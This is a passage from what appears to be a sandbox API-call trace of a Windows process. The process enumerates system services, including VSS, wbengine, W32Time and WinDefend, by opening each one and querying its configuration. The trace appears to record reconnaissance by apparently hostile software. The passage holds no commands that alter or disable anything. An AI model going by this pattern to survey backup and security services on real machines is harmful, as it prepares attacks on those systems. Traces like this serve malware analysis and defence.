(hSCObject=0x2d3790) returned 1 [0032.671] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.671] GetLastError () returned 0x7a [0032.672] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c5c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vaultsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vaultsvc", cchWideChar=8, lpMultiByteStr=0x1e2c5c0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vaultsvc", lpUsedDefaultChar=0x0) returned 8 [0032.672] OpenServiceW (hSCManager=0x2d3600, lpServiceName="VaultSvc", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.672] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.672] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.672] GetLastError () returned 0x7a [0032.672] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0xee, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1e2c608, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0032.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds", cchWideChar=3, lpMultiByteStr=0x1e2c608, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vds", lpUsedDefaultChar=0x0) returned 3 [0032.673] OpenServiceW (hSCManager=0x2d3600, lpServiceName="vds", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.673] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.673] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.673] GetLastError () returned 0x7a [0032.673] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0xf0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds.exe", cchWideChar=7, lpMultiByteStr=0x1e2c650, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vds.exe", lpUsedDefaultChar=0x0) returned 7 [0032.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vss", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vss", cchWideChar=3, lpMultiByteStr=0x1e2c650, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vss", lpUsedDefaultChar=0x0) returned 3 [0032.673] OpenServiceW (hSCManager=0x2d3600, lpServiceName="VSS", dwDesiredAccess=0x1) returned 0x2d3790 [0032.674] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.674] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.674] GetLastError () returned 0x7a [0032.674] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0xee, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssvc.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssvc.exe", cchWideChar=9, lpMultiByteStr=0x1e2c698, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssvc.exe", lpUsedDefaultChar=0x0) returned 9 [0032.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="w32time", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="w32time", cchWideChar=7, lpMultiByteStr=0x1e2c698, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="w32time", lpUsedDefaultChar=0x0) returned 7 [0032.674] OpenServiceW (hSCManager=0x2d3600, lpServiceName="W32Time", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.674] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.675] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.675] GetLastError () returned 0x7a [0032.675] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x118, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c6e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine", cchWideChar=8, lpMultiByteStr=0x1e2c6e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbengine", lpUsedDefaultChar=0x0) returned 8 [0032.675] OpenServiceW (hSCManager=0x2d3600, lpServiceName="wbengine", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.675] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.675] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.676] GetLastError () returned 0x7a [0032.676] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x10c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine.exe", cchWideChar=12, lpMultiByteStr=0x1e2c728, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbengine.exe", lpUsedDefaultChar=0x0) returned 12 [0032.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbiosrvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbiosrvc", cchWideChar=8, lpMultiByteStr=0x1e2c728, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbiosrvc", lpUsedDefaultChar=0x0) returned 8 [0032.676] OpenServiceW (hSCManager=0x2d3600, lpServiceName="WbioSrvc", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.676] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.676] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.676] GetLastError () returned 0x7a [0032.676] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c770, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcncsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcncsvc", cchWideChar=7, lpMultiByteStr=0x1e2c770, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wcncsvc", lpUsedDefaultChar=0x0) returned 7 [0032.677] OpenServiceW (hSCManager=0x2d3600, lpServiceName="wcncsvc", dwDesiredAccess=0x1) returned 0x2d3790 [0032.677] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.677] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.677] GetLastError () returned 0x7a [0032.677] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x17a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c7b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcspluginservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0032.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcspluginservice", cchWideChar=16, lpMultiByteStr=0x1e2c7b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wcspluginservice", lpUsedDefaultChar=0x0) returned 16 [0032.678] OpenServiceW (hSCManager=0x2d3600, lpServiceName="WcsPlugInService", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.678] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.678] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.678] GetLastError () returned 0x7a [0032.678] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c800, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdiservicehost", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0032.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdiservicehost", cchWideChar=14, lpMultiByteStr=0x1e2c800, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wdiservicehost", lpUsedDefaultChar=0x0) returned 14 [0032.678] OpenServiceW (hSCManager=0x2d3600, lpServiceName="WdiServiceHost", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.679] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.679] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.679] GetLastError () returned 0x7a [0032.679] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c848, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdisystemhost", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdisystemhost", cchWideChar=13, lpMultiByteStr=0x1e2c848, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wdisystemhost", lpUsedDefaultChar=0x0) returned 13 [0032.679] OpenServiceW (hSCManager=0x2d3600, lpServiceName="WdiSystemHost", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.679] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.679] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.680] GetLastError () returned 0x7a [0032.680] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x130, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c848, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="webclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="webclient", cchWideChar=9, lpMultiByteStr=0x1da3eb0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="webclient", lpUsedDefaultChar=0x0) returned 9 [0032.680] OpenServiceW (hSCManager=0x2d3600, lpServiceName="WebClient", dwDesiredAccess=0x1) returned 0x2d3790 [0032.680] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.680] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.680] GetLastError () returned 0x7a [0032.680] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x13c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1da3eb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wecsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wecsvc", cchWideChar=6, lpMultiByteStr=0x1da3ef8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wecsvc", lpUsedDefaultChar=0x0) returned 6 [0032.681] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Wecsvc", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.681] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.681] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.681] GetLastError () returned 0x7a [0032.681] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x150, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1da3f40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wercplsupport", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wercplsupport", cchWideChar=13, lpMultiByteStr=0x1da3f40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wercplsupport", lpUsedDefaultChar=0x0) returned 13 [0032.682] OpenServiceW (hSCManager=0x2d3600, lpServiceName="wercplsupport", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.682] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.682] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.682] GetLastError () returned 0x7a [0032.682] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1da3f88, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wersvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wersvc", cchWideChar=6, lpMultiByteStr=0x1da3f88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wersvc", lpUsedDefaultChar=0x0) returned 6 [0032.682] OpenServiceW (hSCManager=0x2d3600, lpServiceName="WerSvc", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.683] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.683] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.683] GetLastError () returned 0x7a [0032.683] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x120, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1da3fd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windefend", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windefend", cchWideChar=9, lpMultiByteStr=0x1da3fd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windefend", lpUsedDefaultChar=0x0) returned 9 [0032.683] OpenServiceW (hSCManager=0x2d3600, lpServiceName="WinDefend", dwDesiredAccess=0x1) returned 0x2d3790 [0032.683] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.684] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.684] GetLastError () returned 0x7a [0032.684] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x104, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 